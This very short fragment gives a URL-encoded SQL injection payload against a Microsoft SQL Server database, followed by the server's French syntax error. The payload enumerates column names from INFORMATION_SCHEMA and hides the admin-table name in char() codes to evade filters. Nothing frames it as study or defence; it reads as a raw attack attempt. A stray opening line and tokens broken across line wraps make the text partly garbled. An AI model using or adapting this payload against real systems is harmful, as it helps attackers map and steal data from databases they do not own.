2 pinch

(SELECT+TOP+1+COLUMN_NAME+FROM+INFORMATION_SCHEMA. COLUMNS+WHERE+TABLE_NAME=(SELECT+TOP+1+COLUMN_NAME +FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME= char(116)+char(98)+char(108)+char(95)+char(103)+ch ar(114)+char(111)+char(117)+char(112)+char(95)+cha r(97)+char(100)+char(109)+char(105)+char(110))--

syntaxe incorrecte vers 'char'.